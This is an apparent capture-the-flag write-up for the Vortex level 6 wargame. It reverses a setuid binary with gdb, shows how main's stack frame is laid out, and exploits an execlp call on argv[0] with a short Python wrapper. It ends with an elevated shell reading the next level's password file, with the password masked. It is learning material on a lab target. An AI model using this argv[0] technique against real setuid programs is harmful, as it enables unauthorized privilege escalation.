Context
For this level we have just the binary, not the source code and some reversing tutorials are suggested. First, we’ll download it and study it locally with gdb
.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048446 <+0>: push ebp
0x08048447 <+1>: mov ebp,esp
0x08048449 <+3>: and esp,0xfffffff0
0x0804844c <+6>: sub esp,0x10
0x0804844f <+9>: mov eax,DWORD PTR [ebp+0x10]
0x08048452 <+12>: mov eax,DWORD PTR [eax]
0x08048454 <+14>: test eax,eax
0x08048456 <+16>: je 0x8048465 <main>
0x08048458 <+18>: mov eax,DWORD PTR [ebp+0xc]
0x0804845b <+21>: mov eax,DWORD PTR [eax]
0x0804845d <+23>: mov DWORD PTR [esp],eax
0x08048460 <+26>: call 0x8048424 <restart>
0x08048465 <+31>: mov eax,DWORD PTR [ebp+0x10]
0x08048468 <+34>: add eax,0xc
0x0804846b <+37>: mov eax,DWORD PTR [eax]
0x0804846d <+39>: mov DWORD PTR [esp],eax
0x08048470 <+42>: call 0x8048354 <printf@plt>
0x08048475 <+47>: mov DWORD PTR [esp],0x7325
0x0804847c <+54>: call 0x8048334 <_exit@plt>
End of assembler dump.
(gdb) disassemble restart
Dump of assembler code for function restart:
0x08048424 <+0>: push ebp
0x08048425 <+1>: mov ebp,esp
0x08048427 <+3>: sub esp,0x18
0x0804842a <+6>: mov DWORD PTR [esp+0x8],0x0
0x08048432 <+14>: mov eax,DWORD PTR [ebp+0x8]
0x08048435 <+17>: mov DWORD PTR [esp+0x4],eax
0x08048439 <+21>: mov eax,DWORD PTR [ebp+0x8]
0x0804843c <+24>: mov DWORD PTR [esp],eax
0x0804843f <+27>: call 0x8048344 @lt;execlp@plt>
0x08048444 <+32>: leave
0x08048445 <+33>: ret
End of assembler dump.
After the function prologue and alignment of stack pointer to 4-byte boundary, 16 bytes are subtracted from ESP
to make room for local variables. Throughout the code of main
function, there are references to 2 locations we need to understand: _ebp+0x10
_ and ebp+0x0c
. This article explains basics about stack frames, while the next one details also the stack layout. The stack layout before calling the main function looks like this:
: :
| | [ebp + 16] (env - address of env array)
| | [ebp + 12] (argv - address of argv array)
| | [ebp + 8] (argc - number of arguments passed to main)
| | [ebp + 4] (return address)
| | [ebp] (old ebp value)
| | [ebp - 4] (1st local variable)
: :
We can quickly verify this with the following wrapper program, that runs a target program with different arguments. This thread shows a way to read registers (ebp
in our case) with inline assembly from C code compiled with GCC.
#include <stdio .h>
int main() {
register int ebp asm("ebp");
char **env = *(char***)(ebp + 16);
char **argv = *(char ***)(ebp + 12);
int argc = *(int*)(ebp + 8);
printf("[EBP + 16] - First element of env[] array: %s\n", env[0]);
printf("[EBP + 12] - First element of argv[] array: %s\n", argv[0]);
printf("[EBP + 8] - Number of arguments (argc): %d\n", argc);
}
And the test wraper:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char* argv[]) {
char* arg[] = {"ARG0", "ARG1", "ARG2", "ARG3", "ARG4", "ARG5", NULL};
char* env[] = {"ENV0", "ENV1", "ENV2", "ENV3", NULL};
execve("./layout",arg,env);
}
So we have:
# gcc layout.c -o layout
# gcc wrap.c -o wrap
# ./wrap
[EBP + 16] - First element of env[] array: ENV0
[EBP + 12] - First element of argv[] array: ARG0
[EBP + 8] - Number of arguments (argc): 6
Based on that, we see that the vortex6 binary checks the first environment variable, and if it’s not NULL
it executes the restart
function with argv[0]
as parameter. We see that reconstruct()
function calls execlp
, with first two arguments the value from **(ebp+8)
, and the third one NULL
. When calling restart function, the stack looks like this:
: :
| | [ebp + 12] (2nd argument)
| | [ebp + 8] (1st argument)
| RA | [ebp + 4] (return address)
| FP | [ebp] (old ebp value)
| | [ebp - 4] (1st local variable)
So wee see that at ebp + 8
we have its first argument, which is in fact argv[0]
. Basically the reconstructed function is:
void restart(char *s) {
execlp(s,s,NULL);
}
After reversing the whole functionality, it’s easy to exploit the binary using a simple Python wrapper:
import subprocess
argv = ['/bin/sh']
p = subprocess.Popen(argv, executable = './vortex6.bin')
p.wait()
And tada…
vortex6@melissa:~$ python /tmp/myl6.py
$ id
uid=5006(vortex6) gid=5006(vortex6) euid=5007(vortex7) groups=5007(vortex7),5006(vortex6)
$ cat /etc/vortex_pass/vortex7
*****